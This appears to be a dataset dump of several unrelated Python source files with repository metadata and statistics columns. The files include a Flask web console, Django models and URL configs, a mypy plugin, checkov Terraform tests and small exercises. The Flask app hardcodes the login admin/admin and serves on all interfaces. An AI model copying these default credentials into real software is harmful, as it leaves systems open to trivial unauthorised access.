] | null | null | null | app.py | amdexa/web-console | 75621a3e24e9b57fc160bb7dd4081230600a7309 | [
"BSD-3-Clause"
] | null | null | null | app.py | amdexa/web-console | 75621a3e24e9b57fc160bb7dd4081230600a7309 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
from gevent import monkey
monkey.patch_all()
from flask import Flask
from flask import request
from flask import Response
from flask import render_template
from functools import wraps
from gevent.pywsgi import WSGIServer
app = Flask(__name__)
def check_auth(username, password):
return username == 'admin' and password == 'admin'
def authenticate():
return Response(
'Authorization required to access web-console.\n'
'You have to login with proper credentials', 401,
{'WWW-Authenticate': 'Basic realm="Login Required"'})
def requires_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
auth = request.authorization
if not auth or not check_auth(auth.username, auth.password):
return authenticate()
return f(*args, **kwargs)
return decorated
@app.route('/')
@requires_auth
def index():
return render_template("index.html")
server = WSGIServer(('0.0.0.0', 80), app)
server.serve_forever()
| 25.282051 | 68 | 0.708925 | 130 | 986 | 5.284615 | 0.484615 | 0.052402 | 0.087336 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012376 | 0.180527 | 986 | 38 | 69 | 25.947368 | 0.837871 | 0.021298 | 0 | 0 | 0 | 0 | 0.165975 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.1 | 0.233333 | 0.1 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
fec667bad59d016fd22c41ab619b6bc7591d3884 | 474 | py | Python | src/pipeline.py | dinabandhu50/PROJECT_tox21 | 8be582728716773edabae44d53443ea394b65a67 | [
"MIT"
] | null | null | null | src/pipeline.py | dinabandhu50/PROJECT_tox21 | 8be582728716773edabae44d53443ea394b65a67 | [
"MIT"
] | null | null | null | src/pipeline.py | dinabandhu50/PROJECT_tox21 | 8be582728716773edabae44d53443ea394b65a67 | [
"MIT"
] | null | null | null | import numpy as np
import config
from sklearn.pipeline import Pipeline
from feature_engine.imputation import CategoricalImputer
from feature_engine.encoding import OneHotEncoder
from feature_engine.encoding import CountFrequencyEncoder
from feature_engine.transformation import YeoJohnsonTransformer
from feature_engine.discretisation import ArbitraryDiscretiser
from sklearn import decomposition
pipe0 = Pipeline([
('pca', decomposition.PCA(n_components=800)),
])
| 26.333333 | 63 | 0.852321 | 53 | 474 | 7.509434 | 0.471698 | 0.138191 | 0.213568 | 0.125628 | 0.155779 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009412 | 0.103376 | 474 | 17 | 64 | 27.882353 | 0.927059 | 0 | 0 | 0 | 0 | 0 | 0.006329 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.75 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
fec91291443e063d28860745de66d124f9b3d907 | 605 | py | Python | src/my_model/get_receptive_field.py | ShounoLab/res-net-interpretation-open | 282dc0ae261467ee1866996416149959db216c02 | [
"MIT"
] | null | null | null | src/my_model/get_receptive_field.py | ShounoLab/res-net-interpretation-open | 282dc0ae261467ee1866996416149959db216c02 | [
"MIT"
] | null | null | null | src/my_model/get_receptive_field.py | ShounoLab/res-net-interpretation-open | 282dc0ae261467ee1866996416149959db216c02 | [
"MIT"
] | null | null | null | """
get information of receptive field
"""
def get_receptive_field(neuron_index, layer_info, pad=(0, 0)):
"""
neuron_index: tuple of length 2 or int represented x axis and y
layer_info: tuple of length 4 has information of receptive_field
"""
n, j, rf, start = layer_info
if isinstance(neuron_index, tuple):
center_y = start + (neuron_index[1]) * (j)
center_x = start + (neuron_index[0]) * (j)
else:
center_y = start + (neuron_index // n) * (j)
center_x = start + (neuron_index % n) * (j)
return (center_x, center_y), (rf / 2, rf / 2)
| 31.842105 | 68 | 0.616529 | 89 | 605 | 3.977528 | 0.382022 | 0.217514 | 0.180791 | 0.152542 | 0.274011 | 0.135593 | 0 | 0 | 0 | 0 | 0 | 0.017817 | 0.257851 | 605 | 18 | 69 | 33.611111 | 0.770601 | 0.269421 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0 | 0 | 0.222222 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fed8630ce4e04df87acbbd7a6bc248f197311d94 | 1,657 | py | Python | tests/terraform/checks/resource/aws/test_RedshiftClusterKMSKey.py | kylelaker/checkov | 6eada26030a87f397a6bf1831827b3dc6c5dad2d | [
"Apache-2.0"
] | 4,013 | 2019-12-09T13:16:54.000Z | 2022-03-31T14:31:01.000Z | tests/terraform/checks/resource/aws/test_RedshiftClusterKMSKey.py | kylelaker/checkov | 6eada26030a87f397a6bf1831827b3dc6c5dad2d | [
"Apache-2.0"
] | 1,258 | 2019-12-17T09:55:51.000Z | 2022-03-31T19:17:17.000Z | tests/terraform/checks/resource/aws/test_RedshiftClusterKMSKey.py | kylelaker/checkov | 6eada26030a87f397a6bf1831827b3dc6c5dad2d | [
"Apache-2.0"
] | 638 | 2019-12-19T08:57:38.000Z | 2022-03-30T21:38:37.000Z | import unittest
from checkov.common.models.enums import CheckResult
from checkov.terraform.checks.resource.aws.RedshiftClusterKMSKey import check
import hcl2
class TestRedshiftClusterKMSKey(unittest.TestCase):
def test_failure(self):
hcl_res = hcl2.loads("""
resource "aws_redshift_cluster" "test" {
cluster_identifier = "tf-redshift-cluster"
database_name = "mydb"
master_username = "foo"
master_password = "Mustbe8characters"
node_type = "dc1.large"
cluster_type = "single-node"
}
""")
resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['test']
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.FAILED, scan_result)
def test_success(self):
hcl_res = hcl2.loads("""
resource "aws_redshift_cluster" "test" {
cluster_identifier = "tf-redshift-cluster"
database_name = "mydb"
master_username = "foo"
master_password = "Mustbe8characters"
node_type = "dc1.large"
cluster_type = "single-node"
kms_key_id = "someKey"
}
""")
resource_conf = hcl_res['resource'][0]['aws_redshift_cluster']['test']
scan_result = check.scan_resource_conf(conf=resource_conf)
self.assertEqual(CheckResult.PASSED, scan_result)
if __name__ == "__main__":
unittest.main()
| 37.659091 | 78 | 0.567894 | 153 | 1,657 | 5.836601 | 0.366013 | 0.100784 | 0.080627 | 0.098544 | 0.68533 | 0.68533 | 0.68533 | 0.68533 | 0.68533 | 0.68533 | 0 | 0.008212 | 0.338564 | 1,657 | 43 | 79 | 38.534884 | 0.806569 | 0 | 0 | 0.611111 | 0 | 0 | 0.559445 | 0.051901 | 0 | 0 | 0 | 0 | 0.055556 | 1 | 0.055556 | false | 0.083333 | 0.111111 | 0 | 0.194444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
fee6fedc3cdd010519a331f4e260a0655087f1fa | 255 | py | Python | 1046.py | FahimFBA/URI-Problem-Solve | d718a95e5a873dffbce19d850998e8917ec87ebb | [
"Apache-2.0"
] | 3 | 2020-11-25T19:05:31.000Z | 2021-03-29T07:29:36.000Z | 1046.py | FahimFBA/URI-Problem-Solve | d718a95e5a873dffbce19d850998e8917ec87ebb | [
"Apache-2.0"
] | null | null | null | 1046.py | FahimFBA/URI-Problem-Solve | d718a95e5a873dffbce19d850998e8917ec87ebb | [
"Apache-2.0"
] | null | null | null | valores = input().split()
valores = list(map(int,valores))
h1, h2 = valores
if(h1 == h2):
print('O JOGO DUROU %d HORA(S)' %24)
else:
if(h2 < h1):
print('O JOGO DUROU %d HORA(S)' %((24 - h1) + h2))
else:
print('O JOGO DUROU %d HORA(S)' %(h2 - h1)) | 21.25 | 52 | 0.576471 | 46 | 255 | 3.195652 | 0.391304 | 0.081633 | 0.204082 | 0.306122 | 0.455782 | 0.455782 | 0.455782 | 0.312925 | 0 | 0 | 0 | 0.068293 | 0.196078 | 255 | 12 | 53 | 21.25 | 0.64878 | 0 | 0 | 0.2 | 0 | 0 | 0.269531 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.3 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
feeba96185268f19bee8a60f04f0b25cb57388c6 | 1,526 | py | Python | backend/swpp/model/times.py | 2019-swpp-8/swpp | 62a4c6bc4ae44efb3f19c95c1e4b17a5d77ff12b | [
"MIT"
] | 7 | 2019-04-13T05:20:26.000Z | 2019-06-17T02:38:39.000Z | backend/swpp/model/times.py | 2019-swpp-8/swpp | 62a4c6bc4ae44efb3f19c95c1e4b17a5d77ff12b | [
"MIT"
] | 68 | 2019-04-18T07:05:05.000Z | 2021-05-08T13:22:36.000Z | backend/swpp/model/times.py | 2019-swpp-8/swpp | 62a4c6bc4ae44efb3f19c95c1e4b17a5d77ff12b | [
"MIT"
] | 1 | 2019-04-19T06:24:19.000Z | 2019-04-19T06:24:19.000Z | from django.db import models
from annoying.fields import AutoOneToOneField
class Times(models.Model):
mon = models.BigIntegerField(default = 0)
tue = models.BigIntegerField(default = 0)
wed = models.BigIntegerField(default = 0)
thu = models.BigIntegerField(default = 0)
fri = models.BigIntegerField(default = 0)
sat = models.BigIntegerField(default = 0)
sun = models.BigIntegerField(default = 0)
# other is Times
def flip(self, other):
self.mon ^= other.mon
self.tue ^= other.tue
self.wed ^= other.wed
self.thu ^= other.thu
self.fri ^= other.fri
self.sat ^= other.sat
self.sun ^= other.sun
# other is TimesSerializer
# minInterval, total: 1 per 30 min. ex) 4 = 2 hrs
def isAvailable(self, other, minInterval, total):
mon = self.mon & other.data['mon']
tue = self.tue & other.data['tue']
wed = self.wed & other.data['wed']
thu = self.thu & other.data['thu']
fri = self.fri & other.data['fri']
sat = self.sat & other.data['sat']
sun = self.sun & other.data['sun']
available = 0
for time in (mon, tue, wed, thu, fri, sat, sun):
combo = 0
while time:
if time & 1: combo += 1
else:
if combo >= minInterval: available += combo
combo = 0
time >>= 1
if combo >= minInterval: available += combo
return available >= total
| 32.468085 | 63 | 0.561599 | 184 | 1,526 | 4.657609 | 0.26087 | 0.171529 | 0.228705 | 0.236873 | 0.074679 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017425 | 0.323067 | 1,526 | 46 | 64 | 33.173913 | 0.812197 | 0.057012 | 0 | 0.108108 | 0 | 0 | 0.014634 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.054054 | false | 0 | 0.054054 | 0 | 0.351351 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
fef125d9ac8e3acfda2a9a2b0032e55f38ed1ead | 1,517 | py | Python | channelworm/web_app/urls.py | openworm/ChannelWorm | 1606279158c969c1af7b8f8e15d9a6b9bcdcd2a6 | [
"MIT"
] | 6 | 2015-09-03T10:09:38.000Z | 2021-08-03T10:31:40.000Z | channelworm/web_app/urls.py | openworm/ChannelWorm | 1606279158c969c1af7b8f8e15d9a6b9bcdcd2a6 | [
"MIT"
] | 122 | 2015-07-28T09:03:05.000Z | 2018-08-27T14:25:55.000Z | channelworm/web_app/urls.py | openworm/ChannelWorm | 1606279158c969c1af7b8f8e15d9a6b9bcdcd2a6 | [
"MIT"
] | 7 | 2015-08-05T04:27:17.000Z | 2019-03-31T13:39:47.000Z | """channelworm URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.8/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Add an import: from blog import urls as blog_urls
2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls))
"""
from django.conf.urls import include, url, patterns
from django.conf.urls.static import static
from django.contrib import admin
from django.conf import settings
# TODO: Check for conflicts in two accounts url pattern
# login_required() from 'django.contrib.auth.urls' redirects to accounts/login/ by default!
urlpatterns = [
url(r'^accounts/', include('django.contrib.auth.urls')),
url(r'^accounts/', include('channelworm.account.urls', namespace='account')),
url(r'^admin/', include(admin.site.urls)),
url(r'^digitizer/', include('channelworm.digitizer.urls', namespace="digitizer"), ),
url(r'^ion_channel/', include('channelworm.ion_channel.urls', namespace="ion_channel"), ),
url(r'^index$', 'channelworm.ion_channel.views.index' ),
url(r'^$', 'channelworm.ion_channel.views.index' ,name='home'),
] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
| 44.617647 | 94 | 0.719842 | 220 | 1,517 | 4.9 | 0.35 | 0.037106 | 0.055659 | 0.033395 | 0.180891 | 0.108534 | 0.069573 | 0.069573 | 0 | 0 | 0 | 0.006112 | 0.137113 | 1,517 | 33 | 95 | 45.969697 | 0.817418 | 0.499011 | 0 | 0 | 0 | 0 | 0.3502 | 0.229028 | 0 | 0 | 0 | 0.030303 | 0 | 1 | 0 | false | 0 | 0.307692 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
3a03694d98cb47c6d3100e673d5c84d2d57c332e | 125 | py | Python | pytem_demo4.py | stevebeisner/PyTem | f7371179d6a752761cd65d84fa3d68f2931d9fc4 | [
"MIT"
] | null | null | null | pytem_demo4.py | stevebeisner/PyTem | f7371179d6a752761cd65d84fa3d68f2931d9fc4 | [
"MIT"
] | null | null | null | pytem_demo4.py | stevebeisner/PyTem | f7371179d6a752761cd65d84fa3d68f2931d9fc4 | [
"MIT"
] | null | null | null | from pytem import PyTem
pt = PyTem()
s = pt.expandFile('pytem_demo4.tm', {'greeting': 'Hello', 'name': 'George'})
print(s)
| 20.833333 | 77 | 0.656 | 18 | 125 | 4.5 | 0.722222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009259 | 0.136 | 125 | 5 | 78 | 25 | 0.740741 | 0 | 0 | 0 | 0 | 0 | 0.296 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0.25 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a11986878a1b86dd82af0100e209dfc389b4a37 | 145 | py | Python | flusstools/__init__.py | Ecohydraulics/flusstools-docs | bb1d3fad9e0c78a84e7f19a1914bb32012154399 | [
"BSD-3-Clause"
] | 3 | 2021-11-18T17:15:30.000Z | 2022-03-25T17:07:25.000Z | flusstools/__init__.py | Ecohydraulics/flusstools-pckg | ff0c05e21ca09270a7b61a730c57f7816fd4dc6a | [
"BSD-3-Clause"
] | null | null | null | flusstools/__init__.py | Ecohydraulics/flusstools-pckg | ff0c05e21ca09270a7b61a730c57f7816fd4dc6a | [
"BSD-3-Clause"
] | null | null | null | from .helpers import *
__all__ = [
"geotools",
"fuzzycorr",
"lidartools",
]
try:
logging.getLogger()
except NameError:
pass
| 12.083333 | 23 | 0.613793 | 13 | 145 | 6.538462 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.255172 | 145 | 11 | 24 | 13.181818 | 0.787037 | 0 | 0 | 0 | 0 | 0 | 0.186207 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.1 | 0.1 | 0 | 0.1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
3a130afc4f52ba6970358c1a863a6318745e1875 | 1,447 | py | Python | leetcode/lessons/stack/__init__.py | wangkuntian/leetcode | e8dc9c8032c805a7d071ad19b94841ee8e52e834 | [
"MIT"
] | null | null | null | leetcode/lessons/stack/__init__.py | wangkuntian/leetcode | e8dc9c8032c805a7d071ad19b94841ee8e52e834 | [
"MIT"
] | 2 | 2020-03-24T18:00:21.000Z | 2020-03-26T11:33:51.000Z | leetcode/lessons/stack/__init__.py | wangkuntian/leetcode | e8dc9c8032c805a7d071ad19b94841ee8e52e834 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
__project__ = 'leetcode'
__file__ = '__init__.py'
__author__ = 'king'
__time__ = '2020/2/22 20:37'
_ooOoo_
o8888888o
88" . "88
(| -_- |)
O\ = /O
____/`---'\____
.' \\| |// `.
/ \\||| : |||// \
/ _||||| -:- |||||- \
| | \\\ - /// | |
| \_| ''\---/'' | |
\ .-\__ `-` ___/-. /
___`. .' /--.--\ `. . __
."" '< `.___\_<|>_/___.' >'"".
| | : `- \`.;`\ _ /`;.`/ - ` : | |
\ \ `-. \_ __\ /__ _/ .-` / /
======`-.____`-.___\_____/___.-`____.-'======
`=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
佛祖保佑 永无BUG
"""
def neighbors(cur):
return []
def DFS(root, target):
visited = set()
# add root to stack
stack = [root]
while stack:
cur = stack.pop()
if cur == target:
return True
for node in neighbors(cur):
if node not in visited:
stack.append(node)
visited.add(node)
return False
| 26.796296 | 56 | 0.257084 | 72 | 1,447 | 4.097222 | 0.666667 | 0.081356 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033675 | 0.527989 | 1,447 | 53 | 57 | 27.301887 | 0.398243 | 0.737388 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0 | 0.071429 | 0.357143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a1ca8c928478f8a55bc789f51cb647fd0bfa1e7 | 1,001 | py | Python | balukaa/todo/migrations/0001_initial.py | shaj/balukaa | 76d3509e1a3079f9f4f4192f11bf7dd81dfc5fa8 | [
"MIT"
] | null | null | null | balukaa/todo/migrations/0001_initial.py | shaj/balukaa | 76d3509e1a3079f9f4f4192f11bf7dd81dfc5fa8 | [
"MIT"
] | null | null | null | balukaa/todo/migrations/0001_initial.py | shaj/balukaa | 76d3509e1a3079f9f4f4192f11bf7dd81dfc5fa8 | [
"MIT"
] | null | null | null | # Generated by Django 3.2 on 2021-05-31 13:22
import datetime
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='TodoEntry',
fields=[
('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.DateField(default=datetime.date.today)),
('task', models.CharField(max_length=64)),
('description', models.CharField(max_length=256)),
('status', models.IntegerField(choices=[(1, 'Делается'), (0, 'Сделано')], default=1)),
('comment', models.CharField(max_length=256)),
('creator', models.CharField(max_length=32)),
],
options={
'verbose_name': 'Задача',
'verbose_name_plural': 'Задачи',
},
),
]
| 31.28125 | 117 | 0.553447 | 95 | 1,001 | 5.726316 | 0.642105 | 0.110294 | 0.132353 | 0.176471 | 0.099265 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038849 | 0.305694 | 1,001 | 31 | 118 | 32.290323 | 0.743885 | 0.042957 | 0 | 0 | 1 | 0 | 0.115063 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a47b74638c8ebf839eb2554c18f210cb08b9b0b | 595 | py | Python | mikaponics/foundation/model_resources/__init__.py | mikaponics/mikaponics-back | 98e1ff8bab7dda3492e5ff637bf5aafd111c840c | [
"BSD-3-Clause"
] | 2 | 2019-04-30T23:51:41.000Z | 2019-05-04T00:35:52.000Z | mikaponics/foundation/model_resources/__init__.py | mikaponics/mikaponics-back | 98e1ff8bab7dda3492e5ff637bf5aafd111c840c | [
"BSD-3-Clause"
] | 27 | 2019-04-30T20:22:28.000Z | 2022-02-10T08:10:32.000Z | mikaponics/foundation/model_resources/__init__.py | mikaponics/mikaponics-back | 98e1ff8bab7dda3492e5ff637bf5aafd111c840c | [
"BSD-3-Clause"
] | null | null | null | from foundation.model_resources.instrument_alert_item_resources import (
create_instrument_alert_item_in_system_if_possible,
can_instrument_create_alert_in_system,
instrument_find_alarming_datum_in_system
)
from foundation.model_resources.user_resources import get_staff_email_addresses
from foundation.model_resources.coupon_resources import (
grant_referral_program_coupons,
find_usable_coupon_for_user
)
from foundation.model_resources.production_alert_resources import (
create_production_alert_item_in_system_if_possible,
can_production_create_alert_in_system
)
| 39.666667 | 79 | 0.878992 | 78 | 595 | 6.064103 | 0.384615 | 0.084567 | 0.160677 | 0.236786 | 0.12685 | 0.12685 | 0.12685 | 0 | 0 | 0 | 0 | 0 | 0.090756 | 595 | 14 | 80 | 42.5 | 0.874307 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.285714 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
28b30c4658112b6f6dc0362bf7c481f4e1311cce | 1,457 | py | Python | mypy_django_plugin/plugins/migrations.py | Naddiseo/django-stubs | cff5ab463c911283a9c43a26a38cb7bd4deebbd5 | [
"BSD-3-Clause"
] | null | null | null | mypy_django_plugin/plugins/migrations.py | Naddiseo/django-stubs | cff5ab463c911283a9c43a26a38cb7bd4deebbd5 | [
"BSD-3-Clause"
] | null | null | null | mypy_django_plugin/plugins/migrations.py | Naddiseo/django-stubs | cff5ab463c911283a9c43a26a38cb7bd4deebbd5 | [
"BSD-3-Clause"
] | null | null | null | from typing import cast, Optional
from mypy.checker import TypeChecker
from mypy.nodes import TypeInfo, Expression, StrExpr, NameExpr, RefExpr, Var
from mypy.plugin import MethodContext
from mypy.types import Type, Instance, TypeType
from mypy_django_plugin import helpers
def get_string_value_from_expr(expr: Expression) -> Optional[str]:
if isinstance(expr, StrExpr):
return expr.value
# TODO: somehow figure out other cases
return None
def determine_model_cls_from_string_for_migrations(ctx: MethodContext) -> Type:
app_label_expr = ctx.args[ctx.callee_arg_names.index('app_label')][0]
app_label = get_string_value_from_expr(app_label_expr)
if app_label is None:
return ctx.default_return_type
model_name_expr = ctx.args[ctx.callee_arg_names.index('model_name')][0]
model_name = get_string_value_from_expr(model_name_expr)
if model_name is None:
return ctx.default_return_type
api = cast(TypeChecker, ctx.api)
model_fullname = helpers.get_model_fullname(app_label, model_name, all_modules=api.modules)
if model_fullname is None:
return ctx.default_return_type
model_info = helpers.lookup_fully_qualified_generic(model_fullname,
all_modules=api.modules)
if model_info is None or not isinstance(model_info, TypeInfo):
return ctx.default_return_type
return TypeType(Instance(model_info, []))
| 37.358974 | 95 | 0.740563 | 203 | 1,457 | 5.009852 | 0.330049 | 0.047198 | 0.06293 | 0.086529 | 0.312684 | 0.222222 | 0.169125 | 0.13766 | 0 | 0 | 0 | 0.001695 | 0.190117 | 1,457 | 38 | 96 | 38.342105 | 0.860169 | 0.024708 | 0 | 0.142857 | 0 | 0 | 0.01339 | 0 | 0 | 0 | 0 | 0.026316 | 0 | 1 | 0.071429 | false | 0 | 0.214286 | 0 | 0.535714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
28ba4c63ccf33ba69b898717a42f2096f917c7c7 | 111 | py | Python | music/__model/integer/audio/d/d_3.py | jedhsu/music | dea68c4a82296cd4910e786f533b2cbf861377c3 | [
"MIT"
] | null | null | null | music/__model/integer/audio/d/d_3.py | jedhsu/music | dea68c4a82296cd4910e786f533b2cbf861377c3 | [
"MIT"
] | null | null | null | music/__model/integer/audio/d/d_3.py | jedhsu/music | dea68c4a82296cd4910e786f533b2cbf861377c3 | [
"MIT"
] | null | null | null | """
*D - Level 3*
"""
from .._pitch import Pitch
__all__ = ["D_3"]
class D_3(
Pitch,
):
pass
| 6.9375 | 26 | 0.495495 | 15 | 111 | 3.2 | 0.6 | 0.083333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04 | 0.324324 | 111 | 15 | 27 | 7.4 | 0.6 | 0.117117 | 0 | 0 | 0 | 0 | 0.035714 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.166667 | 0.166667 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
28bb1750e4eed1d0d37a48e54b31c230c47dd106 | 139 | py | Python | day_1/7_sum.py | waskitaTREK/python_bim_engineer | 964023a69a26bdc462b5aaff5d05b4087abffcba | [
"MIT"
] | 1 | 2021-06-09T04:39:18.000Z | 2021-06-09T04:39:18.000Z | day_1/7_sum.py | waskitaTREK/python_bim_engineer | 964023a69a26bdc462b5aaff5d05b4087abffcba | [
"MIT"
] | null | null | null | day_1/7_sum.py | waskitaTREK/python_bim_engineer | 964023a69a26bdc462b5aaff5d05b4087abffcba | [
"MIT"
] | null | null | null | numbers = [1,2,3,4,5,6,7,11]
res = 0
for num in numbers:
res = res + num
print("with sum: ",sum(numbers))
print("without sum: ",res) | 15.444444 | 32 | 0.604317 | 27 | 139 | 3.111111 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.089286 | 0.194245 | 139 | 9 | 33 | 15.444444 | 0.660714 | 0 | 0 | 0 | 0 | 0 | 0.164286 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
28d7eaca6b157cf48e483f166222d317805b8e42 | 285 | py | Python | drf_cached_token/cache.py | ueni-ltd/drf-cached-token | 67173ff3666f627975b4656033768babb3694664 | [
"MIT"
] | 1 | 2018-05-08T22:13:50.000Z | 2018-05-08T22:13:50.000Z | drf_cached_token/cache.py | ueni-ltd/drf-cached-token | 67173ff3666f627975b4656033768babb3694664 | [
"MIT"
] | null | null | null | drf_cached_token/cache.py | ueni-ltd/drf-cached-token | 67173ff3666f627975b4656033768babb3694664 | [
"MIT"
] | null | null | null | from django.core.cache import caches
from . import settings
def get_cache():
